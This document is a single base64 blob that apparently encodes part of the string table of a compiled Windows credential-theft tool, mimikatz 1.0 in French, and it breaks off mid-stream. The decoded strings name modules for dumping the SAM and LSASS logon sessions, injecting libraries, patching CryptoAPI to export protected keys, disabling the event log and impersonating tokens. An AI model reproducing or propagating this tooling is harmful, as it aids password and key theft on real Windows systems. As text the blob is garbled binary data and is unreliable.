BlAHMAdwBlAGUAcABlAHIAAABBAG4AdABpAC0AZwBwAG8AIABlAHQAIABwAGEAdABjAGgAcwAgAGQAaQB2AGUAcgBzAAAAbgBvAGcAcABvAAAARAB1AG0AcAAgAGQAZQAgAFMAQQBNAAAAcwBhAG0AZAB1AG0AcAAAAEkAbgBqAGUAYwB0AGUAdQByACAAZABlACAAbABpAGIAcgBhAGkAcgBpAGUAcwAAAGkAbgBqAGUAYwB0AAAAAABUAGUAcgBtAGkAbgBhAGwAIABTAGUAcgB2AGUAcgAAAHQAcwAAAAAAAAAAAEYAbwBuAGMAdABpAG8AbgBzACAAZABpAHYAZQByAHMAZQBzACAAbgAnAGEAeQBhAG4AdAAgAHAAYQBzACAAZQBuAGMAbwByAGUAIABhAHMAcwBlAHoAIABkAGUAIABjAG8AcgBwAHMAIABwAG8AdQByACAAYQB2AG8AaQByACAAbABlAHUAcgBzACAAcAByAG8AcAByAGUAcwAgAG0AbwBkAHUAbABlAAAAAABkAGkAdgBlAHIAcwAAAAAAAAAAAEQAdQBtAHAAIABkAGUAcwAgAHMAZQBzAHMAaQBvAG4AcwAgAGMAbwB1AHIAYQBuAHQAZQBzACAAcABhAHIAIABwAHIAbwB2AGkAZABlAHIAcwAgAEwAUwBBAFMAUwAAAHMAZQBrAHUAcgBsAHMAYQAAAAAATQBhAG4AaQBwAHUAbABhAHQAaQBvAG4AcwAgAEUARgBTAAAAZQBmAHMAAABtAGkAbQBpAGsAYQB0AHoAIAAxAC4AMAAgAHgAOAA2ACAAKABSAEMAKQAAAAAAAAAvAC8AIABoAHQAdABwADoALwAvAGIAbABvAGcALgBnAGUAbgB0AGkAbABrAGkAdwBpAC4AYwBvAG0ALwBtAGkAbQBpAGsAYQB0AHoAAAAAACkAIAAqAC8AAAAAADA4OjUyOjEyAAAAAFNlcCAzMCAyMDEzAAkALwAqACAAVAByAGEAaQB0AGUAbQBlAG4AdAAgAGQAdQAgAEsAaQB3AGkAIAAoAAAAAAAoAGMAbwBtAG0AYQBuAGQAbABpAG4AZQApACAAIwAgAAAAAABtAGkAbQBpAGsAYQB0AHoAAAAAACAAIwAgAAAAOgA6AAAAAAAnACAAaQBuAHQAcgBvAHUAdgBhAGIAbABlAAAAQwBvAG0AbQBhAG4AZABlACAAbABvAGMAYQBsAGUAIAAnAAAAJwAgAGkAZABlAG4AdABpAGYAaQDpACwAIABtAGEAaQBzACAAYwBvAG0AbQBhAG4AZABlACAAJwAAAAAATQBvAGQAdQBsAGUAIAA6ACAAJwAAAAAARABlAHMAYwByAGkAcAB0AGkAbwBuACAAZAB1ACAAbQBvAGQAdQBsAGUAIAA6ACAAAAAAAE0AbwBkAHUAbABlAHMAIABkAGkAcwBwAG8AbgBpAGIAbABlAHMAIAA6ACAAAAAAAE8AdQB2AGUAcgB0AHUAcgBlACAAZAB1ACAAcABpAGwAbwB0AGUAIABtAGkAbQBpAGsAYQB0AHoAIAA6ACAAAABcAFwALgBcAG0AaQBtAGkAawBhAHQAegAAAAAAQwByAGUAYQB0AGUARgBpAGwAZQAgADsAIAAAAFIAZQBhAGQARgBpAGwAZQAgADoAIAAAAFcAcgBpAHQAZQBGAGkAbABlACAAOgAgAAAAAAAAAAAASQBtAHAAbwBzAHMAaQBiAGwAZQAgAGQAZQAgAGMAbwBtAG0AdQBuAGkAcQB1AGUAcgAgAGEAdgBlAGMAIABsAGUAIABwAGkAbABvAHQAZQAgAG0AaQBtAGkAawBhAHQAegAAAAAAAABDAG8AbQBtAGEAbgBkAGUAIAB2AGkAZABlACAAKABmAGUAcgBtAGUAdAB1AHIAZQAgAGYAbwByAGMA6QBlACkAIAByAGUA5wB1AGUAAAAAAEUAcgByAGUAdQByACAAOgAgAHAAYQBzACAAZABlACAAcgDpAHAAbwBuAHMAZQAgAHAAbwBzAHMAaQBiAGwAZQAgADsAIAAAAEUAcgByAGUAdQByACAAOgAgAHAAYQBzACAAZAAnAOkAYwByAGkAdAB1AHIAZQAgAHAAbwBzAHMAaQBiAGwAZQAgADsAIAAAAEMAbwBtAG0AYQBuAGQAZQAgAHYAaQBkAGUAIAAoAGQA6QBjAG8AbgBuAGUAeABpAG8AbgAgAGYAbwByAGMA6QBlACkAIAByAGUA5wB1AGUAAAAAAAAAAABFAHIAcgBlAHUAcgAgADoAIABwAGEAcwAgAG8AdQAgAHAAbAB1AHMAIABkAGUAIABjAG8AbQBtAHUAbgBpAGMAYQB0AGkAbwBuACAA6QB0AGEAYgBsAGkAZQAAAAkALQAgAAAAALYEEE73ABBtAG8AZABfAG0AZQBtAG8AcgB5ADoAOgBzAGUAYQByAGMAaABNAGUAbQBvAHIAeQAgAE4AVAA1ACAAAABiAGMAcgB5AHAAdAAAAAAATABzAGEASQBuAGkAdABpAGEAbABpAHoAZQBQAHIAbwB0AGUAYwB0AGUAZABNAGUAbQBvAHIAeQAgAE4AVAA2ACAASwBPAAAAbQBvAGQAXwBtAGUAbQBvAHIAeQA6ADoAcwBlAGEAcgBjAGgATQBlAG0AbwByAHkAIABOAFQANgAgAAAAQkNyeXB0T3BlbkFsZ29yaXRobVByb3ZpZGVyAEJDcnlwdFNldFByb3BlcnR5AAAAQkNyeXB0R2V0UHJvcGVydHkAAABCQ3J5cHRHZW5lcmF0ZVN5bW1ldHJpY0tleQAAMwBEAEUAUwAAAAAAQQBFAFMAAABDAGgAYQBpAG4AaQBuAGcATQBvAGQAZQBDAEIAQwAAAEMAaABhAGkAbgBpAG4AZwBNAG8AZABlAAAAAABDAGgAYQBpAG4AaQBuAGcATQBvAGQAZQBDAEYAQgAAAE8AYgBqAGUAYwB0AEwAZQBuAGcAdABoAAAAAABCQ3J5cHREZXN0cm95S2V5AAAAAEJDcnlwdENsb3NlQWxnb3JpdGhtUHJvdmlkZXIAAAAATABpAHMAdABlACAAbABlAHMAIABwAHIAbwB2AGkAZABlAHIAcwAgAGkAbgBzAHQAYQBsAGwA6QBzACkAAAAAAGwAaQBzAHQAUAByAG8AdgBpAGQAZQByAHMAAABMAGkAcwB0AGUAIABsAGUAcwAgAG0AYQBnAGEAcwBpAG4AcwAgAHMAeQBzAHQA6ABtAGUAAAAAAGwAaQBzAHQAUwB0AG8AcgBlAHMAAAAAAEwAaQBzAHQAZQAgAGwAZQBzACAAYwBlAHIAdABpAGYAaQBjAGEAdABzAAAAbABpAHMAdABDAGUAcgB0AGkAZgBpAGMAYQB0AGUAcwAAAAAATABpAHMAdABlACAAbABlAHMAIABjAG8AbgB0AGUAbgBlAHUAcgBzACAAZABlACAAYwBsAOkAcwAAAAAAbABpAHMAdABLAGUAeQBzAAAAAABFAHgAcABvAHIAdABlACAAbABlAHMAIABjAGUAcgB0AGkAZgBpAGMAYQB0AHMAAABlAHgAcABvAHIAdABDAGUAcgB0AGkAZgBpAGMAYQB0AGUAcwAAAAAARQB4AHAAbwByAHQAZQAgAGwAZQBzACAAYwBsAOkAcwAAAAAAZQB4AHAAbwByAHQASwBlAHkAcwAAAAAAAAAAAFsAZQB4AHAAZQByAGkAbQBlAG4AdABhAGwAXQAgAFAAYQB0AGMAaAAgAGwAZQAgAGcAZQBzAHQAaQBvAG4AbgBhAGkAcgBlACAAZABlACAAYwBsAOkAcwAgAHAAbwB1AHIAIABsACcAZQB4AHAAbwByAHQAIABkAGUAIABjAGwA6QBzACAAbgBvAG4AIABlAHgAcABvAHIAdABhAGIAbABlAAAAcABhAHQAYwBoAGMAbgBnAAAAAABbAGUAeABwAGUAcgBpAG0AZQBuAHQAYQBsAF0AIABQAGEAdABjAGgAIABsAGEAIABDAHIAeQBwAHQAbwBBAFAASQAgAGMAbwB1AHIAYQBuAHQAZQAgAHAAbwB1AHIAIABsACcAZQB4AHAAbwByAHQAIABkAGUAIABjAGwA6QBzACAAbgBvAG4AIABlAHgAcABvAHIAdABhAGIAbABlAAAAcABhAHQAYwBoAGMAYQBwAGkAAABQAHIAbwB2AGkAZABlAHIAcwAgAEMAcgB5AHAAdABvAEEAUABJACAAOgAAAG0AbwBkAF8AYwByAHkAcAB0AG8AYQBwAGkAOgA6AGcAZQB0AFYAZQBjAHQAbwByAFAAcgBvAHYAaQBkAGUAcgBzACAAOgAgAAAAAABQAHIAbwB2AGkAZABlAHIAcwAgAEMATgBHACAAOgAAAAAAAABtAG8AZABfAGMAcgB5AHAAdABvAG4AZwA6ADoAZwBlAHQAVgBlAGMAdABvAHIAUAByAG8AdgBpAGQAZQByAHMAIAA6ACAAAABFAG0AcABsAGEAYwBlAG0AZQBuAHQAIAA6ACAAJwAAAG0AbwBkAF8AYwByAHkAcAB0AG8AOgA6AGcAZQB0AEwAaQBzAHQAUwB5AHMAdABlAG0AUwB0AG8AcgBlAHMAIAA6ACAAAAAAACAAaQBuAHQAcgBvAHUAdgBhAGIAbABlACAAIQAAAAAARQByAHIAZQB1AHIAIABkACcAYQByAGcAdQBtAGUAbgB0AHMALAAgAGEAdAB0AGUAbgBkAHUAIAA6ACAAWwBtAGEAYwBoAGkAbgBlAF0AIABbAHAAcgBvAHYAaQBkAGUAcgAgAHAAcgBvAHYAaQBkAGUAcgBUAHkAcABlAF0AAABtAGEAYwBoAGkAbgBlAAAAdQBzAGUAcgAAAAAAXQAgAEMAbADpAHMAIABDAHIAeQBwAHQAbwBBAFAASQAgADoAAAAAAFsAAAAJACAALQAgAAAAAAAJAAkAVAB5AHAAZQAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAATwBVAEkAAABOAE8ATgAAAAkACQBFAHgAcABvAHIAdABhAGIAaQBsAGkAdADpACAAOgAgAAAAAAAJAAkAVABhAGkAbABsAGUAIABjAGwA6QAgACAAIAAgADoAIAAAAAAALgBwAHYAawAAAAAAYwBhAHAAaQBfAAAAJwAgADoAIAAAAAAACQAJAEUAeABwAG8AcgB0ACAAcAByAGkAdgDpACAAZABhAG4AcwAgACAAJwAAAAAACQAJAAkAbQBvAGQAXwBjAHIAeQBwAHQAbwBhAHAAaQA6ADoAZwBlAHQAUAByAGkAdgBhAHQAZQBLAGUAeQAvAFAAcgBpAHYAYQB0AGUASwBlAHkAQgBsAG8AYgBUAG8AUABWAEsAIAA6ACAAAAAAAAkACQAqACAARQByAHIAZQB1AHIAIABkAGUAIABjAGwA6QAgADsAIAAAAAAAAAAAAAkACQAqACAARQByAHIAZQB1AHIAIABkACcAYQBjAHEAdQBpAHMAaQB0AGkAbwBuACAAZABlACAAbABhACAAYwBsAOkAIAA7ACAAAAAAAAAAbQBvAGQAXwBjAHIAeQBwAHQAbwBhAHAAaQA6ADoAZwBlAHQAVgBlAGMAdABvAHIAQwBvAG4AdABhAGkAbgBlAHIAcwAgADoAIAAAAF0AIABDAGwA6QBzACAAQwBOAEcAIAA6AAAAAABjAG4AZwBfAAAAAABDAEEAUABJAFAAUgBJAFYAQQBUAEUAQgBMAE8AQgAAAAAAAAAJAAkACQBtAG8AZABfAGMAcgB5AHAAdABvAG4AZwA6ADoAZwBlAHQAUAByAGkAdgBhAHQAZQBLAGUAeQAvAFAAcgBpAHYAYQB0AGUASwBlAHkAQgBsAG8AYgBUAG8AUABWAEsAIAA6ACAAAAAAAAAAbQBvAGQAXwBjAHIAeQBwAHQAbwBuAGcAOgA6AGcAZQB0AFYAZQBjAHQAbwByAEMAbwBuAHQAYQBpAG4AZQByAHMAIAA6ACAAAAAAAE0AeQAAAAAAXAAAAFsAZQBtAHAAdAB5AF0AAAAJAAkAQwBvAG4AdABhAGkAbgBlAHIAIABDAGwA6QAgADoAIAAAAAAACQAJAFAAcgBvAHYAaQBkAGUAcgAgACAAIAAgACAAIAA6ACAAAAAAAAkACQAJAEUAcgByAGUAdQByACAAOgAgAEMAbADpACAAZABlACAAdAB5AHAAZQAgAG4AQwByAHkAcAB0ACwAIABzAGEAbgBzACAAbgBDAHIAeQBwAHQAIAA/AAAAcABmAHgAAAAJAAkACQAAAAAAAABDAHIAeQBwAHQAQQBjAHEAdQBpAHIAZQBDAGUAcgB0AGkAZgBpAGMAYQB0AGUAUAByAGkAdgBhAHQAZQBLAGUAeQAgADoAIAAAAAAAZABlAHIAAAAJAAkARQB4AHAAbwByAHQAIABwAHUAYgBsAGkAYwAgAGQAYQBuAHMAIAAnAAAAAABDAGUAcgB0AE8AcABlAG4AUwB0AG8AcgBlACAAOgAgAAAAAAByAHMAYQBlAG4AaAAuAGQAbABsAAAAAABDUEV4cG9ydEtleQAAAAAAUABhAHQAYwBoACAAQwBSAFkAUABUAF8AQQBSAEMASABJAFYAQQBCAEwARQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAAUABhAHQAYwBoACAAQwBSAFkAUABUAF8ARQBYAFAATwBSAFQAQQBCAEwARQAgAHwAIABDAFIAWQBQAFQAXwBBAFIAQwBIAEkAVgBBAEIATABFACAAOgAgAAAAAAAAAAAAUABhAHQAdABlAHIAbgBzACAAQwBSAFkAUABUAF8ARQBYAFAATwBSAFQAQQBCAEwARQAgAHwAIABDAFIAWQBQAFQAXwBBAFIAQwBIAEkAVgBBAEIATABFACAAZQB0ACAAQwBSAFkAUABUAF8AQQBSAEMASABJAFYAQQBCAEwARQAgAHQAcgBvAHUAdgDpAHMAIAAhAAAAAABuAGMAcgB5AHAAdAAuAGQAbABsAAAAAABuAGMAcgB5AHAAdABwAHIAbwB2AC4AZABsAGwAAAAAAEsAZQB5AEkAcwBvAAAAAABJAG0AcABvAHMAcwBpAGIAbABlACAAZAAnAGkAbgBpAHQAaQBhAGwAaQBzAGUAcgAgAGwAYQAgAEMATgBHACAAOgAgAAAAAABQAGEAcwAgAGQAZQAgAEMATgBHACAAPwAAAAAAAAAAAFsAZQB4AHAAZQByAGkAbQBlAG4AdABhAGwAXQAgAFAAYQB0AGMAaAAgAEoAdQBuAGkAcABlAHIAIABOAGUAdAB3AG8AcgBrACAAQwBvAG4AbgBlAGMAdAAgAHAAbwB1AHIAIABuAGUAIABwAGwAdQBzACAAcwB1AHAAZQByAHYAaQBzAGUAcgAgAGwAYQAgAHQAYQBiAGwAZQAgAGQAZQAgAHIAbwB1AHQAYQBnAGUAAAAAAG4AbwByAG8AdQB0AGUAbQBvAG4AAAAAAAAAAABbAHMAdQBwAGUAcgAgAGUAeABwAGUAcgBpAG0AZQBuAHQAYQBsAF0AIABQAGEAdABjAGgAIABsACcAbwBiAHMAZQByAHYAYQB0AGUAdQByACAAZAAnAOkAdgDpAG4AZQBtAGUAbgB0AHMAIABwAG8AdQByACAAbgBlACAAcABsAHUAcwAgAHIAaQBlAG4AIABlAG4AcgBlAGcAaQBzAHQAcgBlAHIAAABlAHYAZQBuAHQAZAByAG8AcAAAAAAAAABQAGEAdABjAGgAIABsAGUAIABiAG8AdQB0AG8AbgAgAGEAbgBuAHUAbABlAHIAIABkAGUAIABXAGkAbgBkAG8AdwBzACAAWABQACAAZQB0ACAAMgAwADAAMwAgAGUAbgAgAGMAbwBuAHMAbwBsAGUAIABwAG8AdQByACAAZADpAHYAZQByAHIAbwB1AGkAbABsAGUAcgAgAHUAbgBlACAAcwBlAHMAcwBpAG8AbgAAAGMAYQBuAGMAZQBsAGEAdABvAHIAAAAAAEEAZgBmAGkAYwBoAGUAIABsAGUAcwAgAHMAZQBjAHIAZQB0AHMAIAB1AHQAaQBsAGkAcwBhAHQAZQB1AHIAAABzAGUAYwByAGUAdABzAAAAQQBuAHQAaQAtAGQA6QB0AG8AdQByAHMAIABTAFIAAAA6AG4AbwBkAGUAdABvAHUAcgAAAAAAAABEAOkAYwBoAGkAZgBmAHIAZQAgAGwAZQBzACAAZgBpAGMAaABpAGUAcgBzACAAUABJAFQAIAAoAFEAdQBlAHMAdAAgAHYAVwBvAHIAawBzAHAAYQBjAGUAIABDAGwAaQBlAG4AdAApAAAAAAA6AHAAaQB0AG0AZQAAAAAATnRPcGVuUHJvY2VzcwAAAEQA6QB0AG8AdQByACAAdAByAG8AdQB2AOkAIABlAHQAIAAAAHAAYQB0AGMAaADpACAAOgApAAAATgBPAE4AIABwAGEAdABjAGgA6QAgADoAKAAAAEQA6QB0AG8AdQByACAAbgBvAG4AIAB0AHIAbwB1AHYA6QAAAHcAaQBuAGwAbwBnAG8AbgAuAGUAeABlAAAAAABkAHMATgBjAFMAZQByAHYAaQBjAGUAAABlAHYAZQBuAHQAbABvAGcALgBkAGwAbAAAAAAAdwBlAHYAdABzAHYAYwAuAGQAbABsAAAARQB2AGUAbgB0AEwAbwBnAAAAAABOAG8AbQBiAHIAZQAgAGQAZQAgAHMAZQBjAHIAZQB0AHMAIAA6ACAAAAAAAEcARQBOAEUAUgBJAEMAAABEAE8ATQBBAEkATgBfAFAAQQBTAFMAVwBPAFIARAAAAEQATwBNAEEASQBOAF8AQwBFAFIAVABJAEYASQBDAEEAVABFAAAAAABEAE8ATQBBAEkATgBfAFYASQBTAEkAQgBMAEUAXwBQAEEAUwBTAFcATwBSAEQAAABHAEUATgBFAFIASQBDAF8AQwBFAFIAVABJAEYASQBDAEEAVAAAAAAARABPAE0AQQBJAE4AXwBFAFgAVABFAE4ARABFAEQAAAA/AAAAQwByAGUAZABlAG4AdABpAGEAbAAgACAAIAAgACAAIAAgACAAIAA6ACAAAABVAHMAZQByAE4AYQBtAGUAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAEMAbwBtAG0AZQBuAHQAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAVAB5AHAAZQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAgAC8AIAAAAFQAYQByAGcAZQB0AE4AYQBtAGUAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAQwByAGUAZABFAG4AdQBtAGUAcgBhAHQAZQAgADoAIAAAAAAAgFvoGG9kiTo0zlnfTbRaD2mUWHBxSxfPw0Cq/MXgIduaSWi4L0ps3HqLf1wDCP45o8Yxpoy9cqSKG5LVh614j1WWCzCoQ1OwYqDafBONXYHAjpCI5Ld2wrUEk6Wpnqv1N6yZJuI4heF0dzLlkSOxEExHP76CImpR0GN1ETOb+zvK7d1E5hJOlzx5T0FmulAOyWsF7m7nlXtgnf/EKYa5fZjInDW7vO/6PQb5Nr8+fqLHVq7Lr+lCYfAd/WWfUifqJKGnsm0Us0X4tvdzwYOE9MzN8+NUFdFGB1cs0tPW1Nf269gcAAnsZwrZFt7x8gEtXkgCDF8NGRooHh8gJSorLlBJVAAAAAAAZABpAHYAZQByAHMAOgA6ADoAcABpAHQAbQBlACAAZgBpAGwAZQAuAHAAaQB0ACAAWwBmAGkAbABlAC4AcgBkAHAAXQAAAAAAIAAqACAATwB1AHYAZQByAHQAdQByAGUAIABlAG4AIABsAGUAYwB0AHUAcgBlACAAZAB1ACAAZgBpAGMAaABpAGUAcgAgACcAAAAAACAAKgAgAEQA6QBjAGgAaQBmAGYAcgBlAG0AZQBuAHQAIABuALAAMQAgADoAIAAAACAAKgAgAEQA6QBjAGgAaQBmAGYAcgBlAG0AZQBuAHQAIABuALAAMgAgADoAIAAAACAAKgAgAEUAbgAtAHQA6gB0AGUAIAA6ACAAAAAgACoAIABPAHUAdgBlAHIAdAB1AHIAZQAgAGUAbgAgAOkAYwByAGkAdAB1AHIAZQAgAGQAdQAgAGYAaQBjAGgAaQBlAHIAIAAnAAAAdwBiAAAAAAAgACoAIABEAG8AbgBuAOkAZQBzACAAOgAgAAAAIAAhAD0AIAAAAAAASwBPACAALQAgAGQAaQBmAGYA6QByAGUAbgB0ACAAZABlACAAJwBQAEkAVAAnACAAOwAgAAAAAAAAAAAAQQBmAGYAaQBjAGgAZQAgAGQAZQBzACAAaQBuAGYAbwByAG0AYQB0AGkAbwBuAHMAIABiAGEAcwBpAHEAdQBlAHMAIABzAHUAcgAgAHUAbgAgAGYAaQBjAGgAaQBlAHIAIABjAGgAaQBmAGYAcgDpAAAAAABpAG4AZgBvAHMAAABBAGYAZgBpAGMAaABlACAAZABlAHMAIABpAG4AZgBvAHIAbQBhAHQAaQBvAG4AcwAgAHQAcgDoAHMAIABkAOkAdABhAGkAbABsAOkAZQBzACAAcwB1AHIAIAB1AG4AIABmAGkAYwBoAGkAZQByACAAYwBoAGkAZgBmAHIA6QAAAGYAdQBsAGwAAAAAAAAAAABEAHUAbQBwACAAbABlAHMAIABkAG8AbgBuAOkAZQBzACAARQBGAFMAIABkACcAdQBuACAAZgBpAGMAaABpAGUAcgAgAGMAaABpAGYAZgByAOkAIAB2AGUAcgBzACAAdQBuACAAZgBpAGMAaABpAGUAcgAgAGIAcgB1AHQAAAAAAHQAbwByAGEAdwAAAFUAdABpAGwAaQBzAGEAdABlAHUAcgAoAHMAKQAgAGQA6QBjAGwAYQByAOkAKABzACkAIAA6ACAAAAAAAEUAcgByAGUAdQByACAAUQB1AGUAcgB5AFUAcwBlAHIAcwBPAG4ARQBuAGMAcgB5AHAAdABlAGQARgBpAGwAZQAgADoAIAAAAEEAZwBlAG4AdAAoAHMAKQAgAGQAZQAgAHIAZQBjAG8AdQB2AHIAZQBtAGUAbgB0ACAAIAA6ACAAAAAAAAAAAABFAHIAcgBlAHUAcgAgAFEAdQBlAHIAeQBSAGUAYwBvAHYAZQByAHkAQQBnAGUAbgB0AHMATwBuAEUAbgBjAHIAeQBwAHQAZQBkAEYAaQBsAGUAIAA6ACAAAAAAAEUARgBTACAATQBlAHQAYQBkAGEAdABhAAAAAABEAEEAVABBAAAAAAAgACoAIABUAHkAcABlACAAIAAgADoAIAAAAAAAKABFAEYAUwAgAE0AZQB0AGEAZABhAHQAYQAgAHMAdAByAGUAYQBtACkAAAAgACoAIABOAG8AbQAgACAAIAAgADoAIAAAAAAAIAAqACAARgBsAGEAZwAgACAAIAA6ACAAAAAAACAAKgAgAFQAYQBpAGwAbABlACAAOgAgAAAAAABNAGEAcgBzAGgAYQBsAGUAZAAgAFMAdAByAGUAYQBtACAAOgAAAAAARABhAHQAYQBTAGUAZwBtAGUAbgB0ACAAOgAgAAAAAAAgACAARQBGAFMAIABNAGUAdABhAGQAYQB0AGEAIAA6AAAAAAAgACAAIAAqACAAVgBlAHIAcwBpAG8AbgAgAEUARgBTACAAOgAgAAAAAAAAACAAIAAgACoAIABVAHQAaQBsAGkAcwBhAHQAZQB1AHIAKABzACkAIABkAOkAYwBsAGEAcgDpACgAcwApACAAOgAAAAAAAAAAACAAIAAgACoAIABBAGcAZQBuAHQAKABzACkAIABkAGUAIAByAGUAYwBvAHUAdgByAGUAbQBlAG4AdAAgACAAOgAAAAAAIAAgAEQAQQBUAEEAIAA6AAAAAAAgACAARABBAFQAQQAgAFMAZQBnAG0AZQBuAHQAIABFAG4AYwByAHkAcAB0AGkAbwBuACAASABlAGEAZABlAHIAIAA6AAAAAAAgACAAIAAqACAATgB1AG0AYgBlAHIATwBmAEQAYQB0AGEAQgBsAG8AYwBrAHMAIAAgACAAIAA6ACAAAAAgACAAIAAqACAAQwBsAHUAcwB0AGUAcgBTAGgAaQBmAHQAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAgACAAIAAqACAAQwBoAHUAbgBrAFMAaABpAGYAdAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAgACAAIAAqACAARABhAHQAYQBVAG4AaQB0AFMAaABpAGYAdAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAgACAAIAAqACAAQgB5AHQAZQBzAFcAaQB0AGgAaQBuAFYARABMACAAIAAgACAAIAAgACAAIAA6ACAAAAAgACAAIAAqACAAQgB5AHQAZQBzAFcAaQB0AGgAaQBuAFMAdAByAGUAYQBtAFMAaQB6AGUAIAA6ACAAAAAgACAAIAAqACAAUwB0AGEAcgB0AGkAbgBnAEYAaQBsAGUAXwBPAGYAZgBzAGUAdAAgACAAIAA6ACAAAAAgACAAIAAqACAATABlAG4AZwB0AGgAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAgACAAIAAqACAARQB4AHQAZQBuAGQAZQBkACAASABlAGEAZABlAHIAIABGAGwAYQBnACAAIAA6ACAAAAAgADsAIAB0AGEAaQBsAGwAZQAgADoAIAAAAAAAIAAgACAAIAAtAD4AIABCAGwAbwBjAGsAIAAAAFQATwBEAE8AIABEAGEAdABhAAAARQByAHIAZQB1AHIAIABSAGUAYQBkAEUAbgBjAHIAeQBwAHQAZQBkAEYAaQBsAGUAUgBhAHcAIAA6ACAAAAAAAEUAcgByAGUAdQByACAATwBwAGUAbgBFAG4AYwByAHkAcAB0AGUAZABGAGkAbABlAFIAYQB3ACAAOgAgAAAAAABPAHUAdgBlAHIAdAB1AHIAZQAgAGQAZQAgADoAIAAAAFYAZQByAHMAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAIAAqACAARQB4AHAAbwByAHQAIABPAEsAAAAAAAAAAAAqACAARQByAHIAZQB1AHIAIABSAGUAYQBkAEUAbgBjAHIAeQBwAHQAZQBkAEYAaQBsAGUAUgBhAHcAIAA6ACAAAAAAACAAKgAgAEgAYQBzAGgAIABkAHUAIABjAGUAcgB0AGkAZgBpAGMAYQB0ACAAOgAgAAAAAAAgACoAIABOAG8AbQAgAHMAaQBtAHAAbABlACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAIAAqACAATgBvAG0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAACAALQAgAEwAZQBjAHQAdQByAGUAIABkACcAdQBuACAAYgBsAG8AYwAgAGQAZQAgADoAIAAAAAAAIAA6AAAAAAAgACAAIAAgAEMAaABhAG0AcAAgAGQAZQAgAGQAbwBuAG4A6QBlAHMAIAAAACAAIAAgACAAIAAqACAAVQB0AGkAbABpAHMAYQB0AGUAdQByACAAOgAgAAAAIAAgACAAIAAgACAALQA+ACAARABvAG4AbgDpAGUAcwAgADoAIAAAACAAIAAgACAAIAAgAC0APgAgAFQAYQBpAGwAbABlACAAIAA6ACAAAAAgACAAIAAgACAAKgAgAEYARQBLACAAKABjAGgAaQBmAGYAcgDpAGUAKQAgADoAIAAAAAAAIAAgACAAIAAgACoAIABGAGwAYQBnAHMAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAACAAIAAgACAAIAAgAC0APgAgAE4AbwBtACAAYQBmAGYAaQBjAGgA6QAgADoAIAAAACAAIAAgACAAIAAgAC0APgAgAFAAcgBvAHYAaQBkAGUAcgAgACAAIAAgADoAIAAAACAAIAAgACAAIAAgAC0APgAgAEMAbwBuAHQAYQBpAG4AZQByACAAIAAgADoAIAAAACAAIAAgACAAIAAgAC0APgAgAEUAbQBwAHIAZQBpAG4AdABlACAAIAAgADoAIAAAAEEAZgBmAGkAYwBoAGUAIABsAGUAcwAgAGgAYQBuAGQAbABlAHMAIABkAHUAIABzAHkAcwB0AOgAbQBlACAAKABwAG8AdQByACAAbABlACAAbQBvAG0AZQBuAHQAIABqAHUAcwB0AGUAIABsAGUAcwAgAHAAcgBvAGMAZQBzAHMAdQBzACAAZQB0ACAAdABvAGsAZQBuAHMAKQAAAGwAaQBzAHQAAAAAAEUAcwBzAGEAeQBlACAAZABlACAAcwB0AG8AcABwAGUAcgAgAHUAbgAgAG8AdQAgAHAAbAB1AHMAaQBlAHUAcgBzACAAcAByAG8AYwBlAHMAcwB1AHMAIABlAG4AIAB1AHQAaQBsAGkAcwBhAG4AdAAgAGQAJwBhAHUAdAByAGUAcwAgAGgAYQBuAGQAbABlAHMAAABwAHIAbwBjAGUAcwBzAFMAdABvAHAAAAAAAAAARQBzAHMAYQB5AGUAIABkACcAaQBtAHAAZQByAHMAbwBuAGEAbABpAHMAZQByACAAdQBuACAAdABvAGsAZQBuACAAZQBuACAAdQB0AGkAbABpAHMAYQBuAHQAIABkACcAYQB1AHQAcgBlAHMAIABoAGEAbgBkAGwAZQBzAAAAAAB0AG8AawBlAG4ASQBtAHAAZQByAHMAbwBuAGEAdABlAAAAAAAAAAAAUABvAHMAaQB0AGkAbwBuAG4AZQAgAHUAbgBlACAAQQBDAEwAIABuAHUAbABsACAAcwB1AHIAIABkAGUAcwAgAEgAYQBuAGQAbABlAHMAAABuAHUAbABsAEEAYwBsAAAAdABvAGsAZQBuAAAAIAAgAAAAAAAgAC0APgAgAAAAAABtAG8AZABfAHMAeQBzAHQAZQBtADoAOgBnAGUAdABTAHkAcwB0AGUAbQBIAGEAbgBkAGwAZQBzACAAOwAgAAAACQBUAGUAcgBtAGkAbgBhAHQAZQAgAFAAcgBvAGMAZQBzAHMAIAAtACAAAAAJAEoAbwBiACAAOgAgAAAASwBPACAAOwAgAAAAVABlAHIAbQBpAG4AYQB0AGUASgBvAGIATwBiAGoAZQBjAHQAIAAtACAAAAAAAAAAQQBzAHMAaQBnAG4AUAByAG8AYwBlAHMAcwBUAG8ASgBvAGIATwBiAGoAZQBjAHQAIAAtACAASwBPACAAOwAgAAAAAABOdFNldEluZm9ybWF0aW9uUHJvY2VzcwBvAGsAIAAhACEAAABrAG8AIAAtACAASQBtAHAAZQByAHMAbwBuAGEAdABlAEwAbwBnAGcAZQBkAE8AbgBVAHMAZQByACAAOwAgAAAAawBvACAALQAgAG0AbwBkAF8AcwBlAGMAYQBjAGwAOgA6AGUAeABjAGgAYQBuAGcAZQBEAHUAcABUAG8AawBlAG4AIAA7ACAAAAAAAE4AVQBMAEwAIAAhAAAAAAAJAAkAAAAAAAAAAABIAGEAcwBoACAATABhAG4ATQBhAG4AYQBnAGUAcgAgACgATABNACkAIABkACcAdQBuAGUAIABjAGgAYQDuAG4AZQAgAGQAZQAgAGMAYQByAGEAYwB0AOgAcgBlAHMAAABsAG0AAAAAAEgAYQBzAGgAIABOAFQAIABMAGEAbgBNAGEAbgBnAGUAcgAgACgATgBUAEwATQApACAAZAAnAHUAbgBlACAAYwBoAGEA7gBuAGUAIABkAGU